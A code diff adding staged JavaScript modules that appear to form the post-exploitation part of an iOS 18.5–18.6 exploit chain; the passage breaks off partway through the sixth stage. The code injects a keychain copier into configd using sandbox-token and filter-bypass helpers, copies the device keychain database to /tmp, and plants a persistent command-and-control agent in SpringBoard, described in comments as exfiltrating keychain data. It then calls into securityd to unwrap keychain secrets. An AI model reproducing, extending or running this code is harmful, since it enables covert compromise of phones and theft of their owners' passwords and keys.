+ // 18.6.1 / 18.6.2: match iOS18nui InjectJS path (no PEMK-C0 rc_copy). + var __useNuiKc = (__iosV.maj === 18 && ( + (__iosV.min === 6 && __iosV.pat >= 1) || + (__iosV.min > 6) + )); + p7_flog("PEMK-C0 ios=" + (__iosV.raw || "?") + " useNuiKc=" + (__useNuiKc ? "1" : "0")); p7_flushLog(); + + if (__useNuiKc) { + // ===== iOS18nui path (18.6.1 / 18.6.2) ===== + // applyTokens AFTER evaluateScript hangs on 18.6.2. Use deferStart: + // prepare JSC → full applyTokens → startScript → destroy (no post-apply). + LOG("[PE-WORKER] inject keychain_copier -> configd (nui 18.6.1+)"); + p7_flog("PEMK-C0 nui InjectJS begin"); p7_flushLog(); + try { pe_alive_ping("pe_s2_nui_begin"); } catch (_pi0) {} + try { + var __kcRC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("configd", migFilterBypass); + if (!__kcRC.success()) { + LOG("[PE-WORKER] keychain_copier: configd RC failed"); + p7_flog("PEMK-C0 nui configd RC failed"); p7_flushLog(); + try { pe_alive_ping("pe_s2_nui_fail"); } catch (_pi2a) {} + } else { + p7_flog("PEMK-C0 nui configd RC ok -> deferStart+full applyTokens"); p7_flushLog(); + var kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](__kcRC, _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass); + p7_flog("PEMK-C0 nui InjectJS ctor ok"); p7_flushLog(); + var __injT0 = Date.now(); + if (kcCopier.inject(0, { deferStart: true })) { + LOG("[PE-WORKER] keychain_copier prepared (deferred)"); + p7_flog("PEMK-C0 nui defer ok ms=" + (Date.now() - __injT0) + " -> applyTokens"); p7_flushLog(); + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(kcCopier.task); + } catch (_atN) { + p7_flog("PEMK-C0 nui applyTokens err: " + _atN); p7_flushLog(); + } + kcCopier.startScript(); + p7_flog("PEMK-C0 nui startScript ok -> destroy"); p7_flushLog(); + kcCopier.destroy(); + p7_flog("PEMK-C0 nui destroy ok"); p7_flushLog(); + try { pe_alive_ping("pe_s2_nui_ok"); } catch (_pi1) {} + } else { + LOG("[PE-WORKER] keychain_copier FAILED"); + p7_flog("PEMK-C0 nui inject FAILED ms=" + (Date.now() - __injT0)); p7_flushLog(); + try { __kcRC.destroy(); } catch (_rd) {} + try { pe_alive_ping("pe_s2_nui_fail"); } catch (_pi2) {} + } + } + } catch (kcErr) { + LOG("[PE-WORKER] keychain_copier error: " + kcErr); + p7_flog("PEMK-C0 nui exception: " + kcErr); p7_flushLog(); + try { pe_alive_ping("pe_s2_nui_exc"); } catch (_pi3) {} + } + // Background copier needs a short settle before Phase2 /tmp open. + LOG("[PE-WORKER] waiting 3s for keychain copy (nui)..."); + for (var __nuiWi = 1; __nuiWi <= 3; __nuiWi++) { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); + } + p7_flog("PEMK-C s2_keychain done nui=1 rcCopy=0"); p7_flushLog(); + try { pe_alive_ping("pe_s2_done"); } catch (_ps2) {} + return; + } + + // ===== PRIMARY (18.6.0 / non-18.6.1+): RemoteCall copy inside configd ===== + // Issue fresh Keychains tokens → consume into configd → open/read/write → /tmp. + // Avoids InjectJS evaluateScript race that often copies before tokens land. + LOG("[PE-WORKER] RemoteCall keychain copy via configd..."); + p7_flog("PEMK-C0 rc_copy start"); p7_flushLog(); + try { + p7_flog("PEMK-C0 before RemoteCall(configd)"); p7_flushLog(); + var cfgRc = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("configd", migFilterBypass); + p7_flog("PEMK-C0 after RemoteCall success=" + !!(cfgRc && cfgRc.success())); p7_flushLog(); + if (cfgRc && cfgRc.success()) { + var __tokPaths = [ + "/private/var/Keychains/", + "/private/var/Keychains/keychain-2.db", + "/private/var/Keychains/keychain-2.db-wal", + "/private/var/Keychains/keychain-2.db-shm", + "/var/Keychains/", + "/var/Keychains/keychain-2.db", + "/tmp/", + "/private/var/tmp/" + ]; + var __tokN = 0; + for (var __ti = 0; __ti < __tokPaths.length; __ti++) { + if (__labApplyFreshToken(cfgRc, __tokPaths[__ti])) __tokN++; + } + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(cfgRc); + } catch (_at) {} + p7_flog("PEMK-C0 tokens fresh=" + __tokN); p7_flushLog(); + + var __pairs = [ + ["/private/var/Keychains/keychain-2.db", "/tmp/keychain-2.db"], + ["/private/var/Keychains/keychain-2.db-wal", "/tmp/keychain-2.db-wal"], + ["/private/var/Keychains/keychain-2.db-shm", "/tmp/keychain-2.db-shm"] + ]; + for (var __fi = 0; __fi < __pairs.length; __fi++) { + var __cr = __labRcCopyFile(cfgRc, __pairs[__fi][0], __pairs[__fi][1]); + p7_flog("PEMK-C0 copy " + __pairs[__fi][1].split("/").pop() + + " ok=" + __cr.ok + " sz=" + __cr.sz + " err=" + (__cr.err || "")); + p7_flushLog(); + if (__fi === 0 && __cr.ok && __cr.sz > 1048576) { + __rcCopyOk = true; + __rcCopySz = __cr.sz; + } + } + if (!__rcCopyOk) { + var __cr2 = __labRcCopyFile(cfgRc, "/var/Keychains/keychain-2.db", "/tmp/keychain-2.db"); + p7_flog("PEMK-C0 copy alt ok=" + __cr2.ok + " sz=" + __cr2.sz + " err=" + (__cr2.err || "")); + p7_flushLog(); + if (__cr2.ok && __cr2.sz > 1048576) { + __rcCopyOk = true; + __rcCopySz = __cr2.sz; + } + } + if (__rcCopyOk) { + __labWriteCopierReady(cfgRc, "/tmp/keychain-2.db", __rcCopySz); + try { + globalThis.__labKcCopyPath = "/tmp/keychain-2.db"; + globalThis.__labKcReady = true; + } catch (_g) {} + p7_flog("PEMK-C0 READY via rc_copy sz=" + __rcCopySz); p7_flushLog(); + LOG("[PE-WORKER] rc_copy READY sz=" + __rcCopySz); + } + // Breadcrumbs: last pe_mpd was READY then silence → pin destroy vs InjectJS. + p7_flog("PEMK-C0 before cfgRc.destroy"); p7_flushLog(); + try { pe_alive_ping("pe_s2_pre_destroy"); } catch (_pd0) {} + try { + cfgRc.destroy(); + p7_flog("PEMK-C0 after cfgRc.destroy ok"); p7_flushLog(); + try { pe_alive_ping("pe_s2_post_destroy"); } catch (_pd1) {} + } catch (_d) { + p7_flog("PEMK-C0 cfgRc.destroy threw: " + _d); p7_flushLog(); + try { pe_alive_ping("pe_s2_destroy_err"); } catch (_pd2) {} + } + } else { + p7_flog("PEMK-C0 configd RemoteCall FAILED"); p7_flushLog(); + LOG("[PE-WORKER] configd RemoteCall FAILED"); + } + } catch (__rcErr) { + p7_flog("PEMK-C0 rc_copy exception: " + __rcErr); p7_flushLog(); + LOG("[PE-WORKER] rc_copy error: " + __rcErr); + } + + // ===== SECONDARY: InjectJS keychain_copier (fallback only) ===== + // (3) rc_copy READY already put db/wal/shm in /tmp — do NOT re-run copier (108MB race). + // (2) fallback: deferStart → applyTokens → startScript (tokens before evaluateScript). + if (__rcCopyOk) { + p7_flog("PEMK-C0 skip InjectJS: rc_copy READY sz=" + __rcCopySz); p7_flushLog(); + try { pe_alive_ping("pe_s2_skip_inject_rc_ok"); } catch (_pi0) {} + LOG("[PE-WORKER] skip keychain_copier InjectJS (rc_copy READY)"); + } else { + p7_flog("PEMK-C0 before InjectJS ctor (rc_copy miss)"); p7_flushLog(); + try { pe_alive_ping("pe_s2_pre_inject"); } catch (_pi0) {} + LOG("[PE-WORKER] inject keychain_copier -> configd (deferStart then tokens)"); + try { + let kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"]("configd", _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass); + p7_flog("PEMK-C0 InjectJS ctor ok, calling inject(deferStart)"); p7_flushLog(); + try { pe_alive_ping("pe_s2_inject_call"); } catch (_pi1) {} + if (kcCopier.inject(0, { deferStart: true })) { + p7_flog("PEMK-C0 inject(defer) returned true"); p7_flushLog(); + try { pe_alive_ping("pe_s2_inject_ok"); } catch (_pi2) {} + LOG("[PE-WORKER] keychain_copier prepared (deferred)"); + p7_flog("PEMK-C0 before applyTokens"); p7_flushLog(); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(kcCopier.task); + try { + __labApplyFreshToken(kcCopier.task, "/private/var/Keychains/"); + __labApplyFreshToken(kcCopier.task, "/private/var/Keychains/keychain-2.db"); + __labApplyFreshToken(kcCopier.task, "/tmp/"); + } catch (_ft) { + p7_flog("PEMK-C0 freshToken warn: " + _ft); p7_flushLog(); + } + p7_flog("PEMK-C0 after applyTokens"); p7_flushLog(); + try { pe_alive_ping("pe_s2_post_tokens"); } catch (_pi3) {} + p7_flog("PEMK-C0 before startScript"); p7_flushLog(); + kcCopier.startScript(); + p7_flog("PEMK-C0 after startScript"); p7_flushLog(); + try { pe_alive_ping("pe_s2_start_script"); } catch (_pi3b) {} + LOG("[PE-WORKER] keychain_copier OK (tokens then evaluate)"); + __labKcCopier = kcCopier; + } else { + p7_flog("PEMK-C0 inject() returned false"); p7_flushLog(); + try { pe_alive_ping("pe_s2_inject_fail"); } catch (_pi4) {} + LOG("[PE-WORKER] keychain_copier FAILED"); + } + } catch (kcErr) { + p7_flog("PEMK-C0 InjectJS/inject exception: " + kcErr); p7_flushLog(); + try { pe_alive_ping("pe_s2_inject_exc"); } catch (_pi5) {} + LOG("[PE-WORKER] keychain_copier error: " + kcErr); + } + } + p7_flog("PEMK-C s2_keychain done rcCopy=" + __rcCopyOk + " sz=" + __rcCopySz); p7_flushLog(); + try { pe_alive_ping("pe_s2_done"); } catch (_ps2) {} +} + +__peStage2(); diff --git a/channel-builder-ds/source/pe_stage/s3_mempress.js b/channel-builder-ds/source/pe_stage/s3_mempress.js new file mode 100644 index 0000000..697779a --- /dev/null +++ b/channel-builder-ds/source/pe_stage/s3_mempress.js @@ -0,0 +1,14 @@ +// PE stage file — progress marker: GET /pe_stage/s3_mempress.js +// Eval'd inside pe_worker start(); falls back to inline if fetch fails. + function __peStage3() { + // Brief settle then inject c2 BEFORE long DB wait so devices that die mid-copy still beacon. + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 2); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess); + LOG("[PE] destroying launchd RC to free zone resources..."); + try { launchdTask.destroy(); } catch(e) { LOG("[PE] launchd destroy warn: " + e); } + + // ===== Inject loader + c2_agent BEFORE P7 Phase 2 (and before long kc wait) ===== + p7_flog("PEMK-D s3_mempress launchd destroyed"); p7_flushLog(); +} + +__peStage3(); diff --git a/channel-builder-ds/source/pe_stage/s4_loader.js b/channel-builder-ds/source/pe_stage/s4_loader.js new file mode 100644 index 0000000..ea3a5e6 --- /dev/null +++ b/channel-builder-ds/source/pe_stage/s4_loader.js @@ -0,0 +1,55 @@ +// PE stage file — progress marker: GET /pe_stage/s4_loader.js +// Eval'd inside pe_worker start(); falls back to inline if fetch fails. + function __peStage4() { + // Fine-grained diag: pin hang to InjectJS ctor / inject() / applyTokens / destroy. + LOG("[PE-WORKER] inject loader -> " + targetProcess); + p7_flog("PEMK-E0 s4 begin target=" + targetProcess); p7_flushLog(); + var __s4Ok = false; + try { + p7_flog("PEMK-E0 before InjectJS ctor"); p7_flushLog(); + var __tCtor = Date.now(); + let agentLoader = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"], migFilterBypass); + p7_flog("PEMK-E0 InjectJS ctor ok ms=" + (Date.now() - __tCtor)); p7_flushLog(); + let agentPid = 0; + p7_flog("PEMK-E0 before inject()"); p7_flushLog(); + var __tInj = Date.now(); + var __injOk = false; + try { + __injOk = !!agentLoader.inject(); + } catch (_injE) { + p7_flog("PEMK-E0 inject() threw: " + _injE); p7_flushLog(); + throw _injE; + } + p7_flog("PEMK-E0 inject() returned ok=" + (__injOk ? "1" : "0") + " ms=" + (Date.now() - __tInj)); p7_flushLog(); + if (__injOk) { + try { agentPid = agentLoader.task.pid(); } catch (_pidE) { + p7_flog("PEMK-E0 pid() threw: " + _pidE); p7_flushLog(); + } + LOG("[PE-WORKER] loader OK pid=" + agentPid); + p7_flog("PEMK-E0 loader OK pid=" + agentPid + " -> applyTokens"); p7_flushLog(); + var __tTok = Date.now(); + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentLoader.task); + p7_flog("PEMK-E0 applyTokens ok ms=" + (Date.now() - __tTok)); p7_flushLog(); + } catch (_tokE) { + p7_flog("PEMK-E0 applyTokens threw ms=" + (Date.now() - __tTok) + " err=" + _tokE); p7_flushLog(); + throw _tokE; + } + p7_flog("PEMK-E0 before destroy"); p7_flushLog(); + try { agentLoader.destroy(); } catch (_dE) { + p7_flog("PEMK-E0 destroy warn: " + _dE); p7_flushLog(); + } + p7_flog("PEMK-E0 destroy ok"); p7_flushLog(); + __s4Ok = true; + } else { + LOG("[PE-WORKER] loader inject FAILED"); + p7_flog("PEMK-E0 loader inject FAILED"); p7_flushLog(); + } + } catch (_s4E) { + LOG("[PE-WORKER] s4_loader error: " + _s4E); + p7_flog("PEMK-E0 exception: " + _s4E); p7_flushLog(); + } + p7_flog("PEMK-E s4_loader done ok=" + (__s4Ok ? "1" : "0")); p7_flushLog(); + } + +__peStage4(); diff --git a/channel-builder-ds/source/pe_stage/s5_c2.js b/channel-builder-ds/source/pe_stage/s5_c2.js new file mode 100644 index 0000000..60e9b43 --- /dev/null +++ b/channel-builder-ds/source/pe_stage/s5_c2.js @@ -0,0 +1,123 @@ +// PE stage file — progress marker: GET /pe_stage/s5_c2.js +// Eval'd inside pe_worker start(); falls back to inline if fetch fails. + function __peStage5() { + // Deadlock: applyTokens AFTER evaluateScript hangs (~2min+). NUI (18.5 / 18.6.1+): + // deferStart → full applyTokens → startScript. 18.6.0 uses legacy path below. + LOG("[PE-WORKER] inject c2_agent -> " + targetProcess); + var __iosC2 = __labIosForGate(); + // 18.5 / 18.6.1+ / unknown → NUI C2; 18.6.0 keeps legacy (faster, historically OK). + var __useNuiC2 = (!(__iosC2.maj) || (__iosC2.maj === 18 && ( + (__iosC2.min === 5) || + (__iosC2.min === 6 && __iosC2.pat >= 1) || + (__iosC2.min > 6) + ))); + p7_flog("PEMK-F0 ios=" + (__iosC2.raw || "?") + " useNuiC2=" + (__useNuiC2 ? "1" : "0")); p7_flushLog(); + var __c2Injected = false; + try { + let c2Code = _raw_loader_c2_agent_js__WEBPACK_IMPORTED_MODULE_17__["default"]; + try { + let diagData = globalThis.__ucredDiag || "no_diag"; + let diagSnippet = '\nglobalThis.__ucredDiag=' + JSON.stringify(diagData) + ';\nglobalThis.__peInjectTs=' + JSON.stringify(String(Date.now())) + ';\n'; + c2Code = c2Code.replace('Native.init();', 'Native.init();' + diagSnippet); + LOG("[PE-WORKER] ucred diag inserted (" + diagData.length + " chars)"); + } catch(dErr) { + LOG("[PE-WORKER] diag insert error: " + dErr); + } + // Propagate the baked delivery UUID into the SpringBoard context so c2_agent + // beacon/war/keychain exfil lands under the SAME UUID as the delivery logs. + // Without this, c2_agent falls back to the hardware IOPlatformUUID and the + // two exfil trees diverge (uuid mismatch). + try { + let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '').replace(/-/g, '').toUpperCase(); + if (_duuid && /^[0-9A-F]{16,64}$/.test(_duuid) && _duuid !== '69DD25B2CA8B5682BA2470D77124E2FC') { + c2Code = c2Code.split('69DD25B2CA8B5682BA2470D77124E2FC').join(_duuid); + c2Code = c2Code.split('__LAB_BAKED_DELIVERY_UUID__').join(_duuid); + let uuidSnippet = '\nglobalThis.__LAB_DEVICE_UUID__=' + JSON.stringify(_duuid) + ';\n'; + c2Code = c2Code.replace('Native.init();', 'Native.init();' + uuidSnippet); + LOG("[PE-WORKER] c2_agent delivery UUID injected (" + _duuid + ")"); + } + } catch(uErr) { + LOG("[PE-WORKER] c2_agent UUID inject error: " + uErr); + } + if (__useNuiC2) { + p7_flog("PEMK-F0 nui SpringBoard RC begin"); p7_flushLog(); + var __c2RC = null; + for (var __c2Try = 0; __c2Try < 2; __c2Try++) { + try { globalThis.__peRemoteFail = 0; } catch (_zf) {} + var __tRc = Date.now(); + try { + __c2RC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"](targetProcess, migFilterBypass); + } catch (_rcE) { + p7_flog("PEMK-F0 SpringBoard RC threw try=" + (__c2Try + 1) + " " + _rcE); p7_flushLog(); + __c2RC = null; + } + var __fail = 0; + try { __fail = globalThis.__peRemoteFail || 0; } catch (_ff) {} + if (__c2RC && __c2RC.success()) { + p7_flog("PEMK-F0 SpringBoard RC ok try=" + (__c2Try + 1) + " ms=" + (Date.now() - __tRc)); p7_flushLog(); + break; + } + p7_flog("PEMK-F0 SpringBoard RC fail try=" + (__c2Try + 1) + "/2 fail=0x" + Number(__fail).toString(16) + " ms=" + (Date.now() - __tRc)); + p7_flushLog(); + if (__c2RC) { try { __c2RC.destroy(); } catch (_rd0) {} } + __c2RC = null; + // 0x494 = first EXC wait timeout (120s) — retrying usually wastes another 120s. + if (Number(__fail) === 0x494) break; + try { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 2000000); } catch (_us) {} + } + if (!__c2RC || !__c2RC.success()) { + LOG("[PE-WORKER] c2_agent: SpringBoard RC failed"); + p7_flog("PEMK-F0 SpringBoard RC failed -> war-fallback"); p7_flushLog(); + __pePostWarDumpFallback("sb_rc_fail"); + } else { + p7_flog("PEMK-F0 SpringBoard RC ok -> deferStart+full applyTokens"); p7_flushLog(); + var c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](__c2RC, c2Code, migFilterBypass); + p7_flog("PEMK-F0 InjectJS ctor ok"); p7_flushLog(); + if (c2Agent.inject(0, { deferStart: true })) { + LOG("[PE-WORKER] c2_agent prepared (deferred)"); + p7_flog("PEMK-F0 c2 defer ok -> applyTokens"); p7_flushLog(); + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(c2Agent.task); + } catch (_atC) { + p7_flog("PEMK-F0 applyTokens err: " + _atC); p7_flushLog(); + } + c2Agent.startScript(); + p7_flog("PEMK-F0 c2 startScript ok -> destroy"); p7_flushLog(); + c2Agent.destroy(); + __c2Injected = true; + try { globalThis.__peC2Injected = true; } catch (_g) {} + p7_flog("PEMK-F0 destroy ok"); p7_flushLog(); + } else { + LOG("[PE-WORKER] c2_agent FAILED"); + p7_flog("PEMK-F0 c2 inject FAILED -> war-fallback"); p7_flushLog(); + try { __c2RC.destroy(); } catch (_rd) {} + __pePostWarDumpFallback("inject_fail"); + } + } + } else { + p7_flog("PEMK-F0 legacy SpringBoard inject begin"); p7_flushLog(); + let c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, c2Code, migFilterBypass); + p7_flog("PEMK-F0 legacy InjectJS ctor ok"); p7_flushLog(); + if (c2Agent.inject()) { + LOG("[PE-WORKER] c2_agent OK - persistent loop started"); + p7_flog("PEMK-F0 legacy inject ok -> applyTokens"); p7_flushLog(); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(c2Agent.task); + c2Agent.destroy(); + __c2Injected = true; + try { globalThis.__peC2Injected = true; } catch (_g2) {} + p7_flog("PEMK-F0 legacy c2 OK"); p7_flushLog(); + } else { + LOG("[PE-WORKER] c2_agent FAILED"); + p7_flog("PEMK-F0 legacy c2 FAILED -> war-fallback"); p7_flushLog(); + __pePostWarDumpFallback("legacy_inject_fail"); + } + } + } catch (c2Err) { + LOG("[PE-WORKER] c2_agent error: " + c2Err); + p7_flog("PEMK-F0 exception: " + c2Err); p7_flushLog(); + if (!__c2Injected) __pePostWarDumpFallback("exception"); + } + p7_flog("PEMK-F s5_c2 done injected=" + (__c2Injected ? "1" : "0")); p7_flushLog(); +} + +__peStage5(); diff --git a/channel-builder-ds/source/pe_stage/s6_p7phase2.js b/channel-builder-ds/source/pe_stage/s6_p7phase2.js new file mode 100644 index 0000000..5d83d06 --- /dev/null +++ b/channel-builder-ds/source/pe_stage/s6_p7phase2.js @@ -0,0 +1,1153 @@ +// PE stage file — progress marker: GET /pe_stage/s6_p7phase2.js +// Eval'd inside pe_worker start(); falls back to inline if fetch fails. + function __peStage6() { + // Wait like bak success: /tmp/keychain-2.db size > 1MB, OR READY notify from copier/rc_copy. + // Then Phase2: MPD sqlite3_open(path) → iterate ciphertext → securityd AKS unwrap. + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G skip s6: lost pe_run_token (newer/other PE)"); + p7_flushLog(); + return; + } + p7_flog("[PE-WORKER] waiting for keychain db (size>1MB or READY, max 90s)..."); + p7_flushLog(); + var __labKcReady = false; + var __labKcPath = "/tmp/keychain-2.db"; + var __labKcPaths = ["/tmp/keychain-2.db", "/private/var/tmp/keychain-2.db"]; + for (var __labWi = 0; __labWi < 90; __labWi++) { + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G abort wait: lost pe_run_token"); + p7_flushLog(); + return; + } + var __st = __labKcReadStatus(); + if (__st && __st.ready) { + __labKcReady = true; + __labKcPath = __st.path || __labKcPath; + try { globalThis.__labKcCopyPath = __labKcPath; globalThis.__labKcReady = true; } catch (_g) {} + p7_flog("[PE-WORKER] keychain COPY READY notify path=" + __labKcPath + " t=" + (__labWi + 1) + "s raw=" + String(__st.raw).slice(0, 120)); + p7_flushLog(); + break; + } + for (var __labPi = 0; __labPi < __labKcPaths.length; __labPi++) { + var __labSz = __labKcDbSize(__labKcPaths[__labPi]); + if (__labSz > 1048576) { + __labKcReady = true; + __labKcPath = __labKcPaths[__labPi]; + try { globalThis.__labKcCopyPath = __labKcPath; globalThis.__labKcReady = true; } catch (_g2) {} + p7_flog("[PE-WORKER] keychain db ready path=" + __labKcPath + " sz=" + __labSz + " t=" + (__labWi + 1) + "s"); + p7_flushLog(); + break; + } + } + if (__labKcReady) break; + if ((__labWi % 10) === 9) { + p7_flog("[PE-WORKER] still waiting keychain db t=" + (__labWi + 1) + "s"); + p7_flushLog(); + } + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); + } + if (!__labKcReady) { + p7_flog("[PE-WORKER] keychain db not ready after 90s - SKIP Phase2 (no AKS/sqlite until copy)"); + p7_flushLog(); + try { + var __Nf = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + var __ffd = Number(__Nf.callSymbol("open", "/tmp/keychain_c2_dump.fail", 0x601, 0x1FF)); + if (__ffd >= 0) { + var __fmsg = "no_keychain_ready_90s\n"; + var __fb = __Nf.callSymbol("malloc", BigInt(__fmsg.length + 1)); + __Nf.writeString(__fb, __fmsg); + __Nf.callSymbol("write", __ffd, __fb, __fmsg.length); + __Nf.callSymbol("close", __ffd); + __Nf.callSymbol("free", __fb); + __Nf.callSymbol("chmod", "/tmp/keychain_c2_dump.fail", 0x1FF); + p7_flog("PEMK-G wrote keychain_c2_dump.fail"); p7_flushLog(); + } + } catch (_ff) {} + } + if (__labKcCopier) { + try { __labKcCopier.destroy(); } catch (_kd) {} + __labKcCopier = null; + } + + + // ===== P7 Phase 2: V4 Local SQLite + Remote AKS Oracle Pipeline ===== + // Hard gate: MPD must see READY (copy done) before sqlite open + securityd AKS unwrap. + if (p7_enableP7 && !__labKcReady) { + p7_flog("[PE-WORKER] Phase2 aborted: no keychain READY — will not connect securityd AKS"); + p7_flushLog(); + } else if (p7_enableP7) { + let p7_secRC = null; + try { + p7_flog("=== Phase 2: V4 AKS Oracle Pipeline (READY path=" + __labKcPath + ") ==="); + let N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + + function p7_toPtr(v) { + if (typeof v === 'bigint') return v; + if (typeof v === 'number') return BigInt(v); + if (v === null || v === undefined) return 0n; + p7_flog("WARN toPtr: type=" + typeof v + " v=" + String(v).slice(0, 40)); + return 0n; + } + function p7_toRC(v) { + if (typeof v === 'number') return v; + if (typeof v === 'bigint') return Number(v & 0xFFFFFFFFn); + if (v === null || v === undefined) return -1; + p7_flog("WARN toRC: type=" + typeof v + " v=" + String(v).slice(0, 40)); + return -1; + } + + function p7_requirePtr(label, v) { + if (typeof v === 'bigint') return v; + if (typeof v === 'number') return BigInt(v); + p7_flog("BUG requirePtr(" + label + "): got " + typeof v); + throw new TypeError("requirePtr(" + label + "): expected bigint|number, got " + typeof v); + } + + // --- Poke securityd: 3x SecItemCopyMatching (wake threads before RC) --- + p7_flog("Poke: waking securityd..."); + try { + var p7_rpResult = p7_toPtr(N.callSymbol("malloc", 8n)); + if (p7_rpResult && p7_rpResult !== 0n) { + var p7_rpKSC = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecClass"))); + var p7_rpKGP = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecClassGenericPassword"))); + var p7_rpKML = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecMatchLimit"))); + var p7_rpKM1 = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecMatchLimitOne"))); + for (var pi = 0; pi < 3; pi++) { + var pq = p7_toPtr(N.callSymbol("CFDictionaryCreateMutable", 0n, 2n, 0n, 0n)); + if (!pq || pq === 0n) break; + N.callSymbol("CFDictionarySetValue", pq, p7_rpKSC, p7_rpKGP); + N.callSymbol("CFDictionarySetValue", pq, p7_rpKML, p7_rpKM1); + N.write64(p7_rpResult, 0n); + var pr = Number(N.callSymbol("SecItemCopyMatching", pq, p7_rpResult)); + var pref = N.readPtr(p7_rpResult); + if (pref && pref !== 0n) N.callSymbol("CFRelease", pref); + N.callSymbol("CFRelease", pq); + p7_flog("poke[" + pi + "] ret=" + pr); + } + N.callSymbol("free", p7_rpResult); + } + p7_flog("Poke done"); + } catch (pokeErr) { + p7_flog("Poke error: " + pokeErr); + } + + // --- RC(securityd) single attempt (immediately after poke) --- + p7_flushLog(); + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G abort Phase2: lost pe_run_token before securityd RC"); + p7_flushLog(); + throw "pe_run_token_lost"; + } + var p7_t0 = Date.now(); + p7_flog("RC: creating securityd (before c2 to avoid SecItem contention)..."); + p7_secRC = null; + for (var p7_rcTry = 0; p7_rcTry < 3; p7_rcTry++) { + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G abort Phase2: lost pe_run_token during securityd RC retry"); + p7_flushLog(); + throw "pe_run_token_lost"; + } + var p7_tTry = Date.now(); + p7_flog("RC: creating securityd try=" + (p7_rcTry + 1) + "/3"); + try { + p7_secRC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("securityd", migFilterBypass); + p7_flog("RC: constructor took " + (Date.now() - p7_tTry) + "ms success=" + (p7_secRC && p7_secRC.success())); + } catch (rcErr) { + p7_flog("RC constructor threw after " + (Date.now() - p7_tTry) + "ms: " + String(rcErr)); + p7_secRC = null; + } + if (p7_secRC && p7_secRC.success()) break; + if (p7_secRC) { try { p7_secRC.destroy(); } catch(e) {} } + p7_secRC = null; + try { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 2000000); } catch (_us) {} + } + p7_flog("RC: securityd total " + (Date.now() - p7_t0) + "ms"); + if (!p7_secRC || !p7_secRC.success()) { + p7_flog("RC(securityd) FAILED"); + if (p7_secRC) { try { p7_secRC.destroy(); } catch(e) {} } + p7_secRC = null; + } else { + let p7_remotePid = p7_toRC(p7_secRC.call(3000, "getpid")); + let p7_remoteUid = p7_toRC(p7_secRC.call(3000, "getuid")); + p7_flog("RC(securityd) pid=" + p7_remotePid + " uid=" + p7_remoteUid); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(p7_secRC); + p7_flushLog(); + + let p7_rm = p7_secRC.mem(); + let p7_sp = p7_secRC.lastLiveSP(); + p7_flog("RC mem=0x" + p7_rm.toString(16) + " liveSP=0x" + p7_sp.toString(16)); + + // --- 2B: Remote AKS IOKit init --- + function p7_rcDlsym(name) { + p7_secRC.writeStr(p7_rm, name); + return p7_toPtr(p7_secRC.call(3000, "dlsym", 0xfffffffffffffffen, p7_rm)); + } + + function p7_rcCallN(funcName, x0, x1, x2, x3, x4, x5, x6, x7, stackArgs) { + let sp = p7_secRC.lastLiveSP(); + if (!sp) { p7_flog("callN: no live SP!"); return 0n; } + if (stackArgs) { + for (var si = 0; si < stackArgs.length; si++) + p7_secRC.write64(sp + BigInt(si * 8), stackArgs[si] || 0n); + } + return p7_secRC.call(5000, funcName, + x0 || 0n, x1 || 0n, x2 || 0n, x3 || 0n, + x4 || 0n, x5 || 0n, x6 || 0n, x7 || 0n); + } + + function p7_rcCalloc(size) { + var raw = p7_secRC.call(3000, "calloc", 1n, BigInt(size)); + if (typeof raw !== 'bigint' && typeof raw !== 'number') + p7_flog("rcCalloc(" + size + ") raw type=" + typeof raw + " val=" + String(raw).slice(0, 60)); + return p7_toPtr(raw); + } + function p7_rcFree(ptr) { + if (ptr && ptr !== 0n) p7_secRC.call(1000, "free", p7_requirePtr("rcFree", ptr)); + } + + function 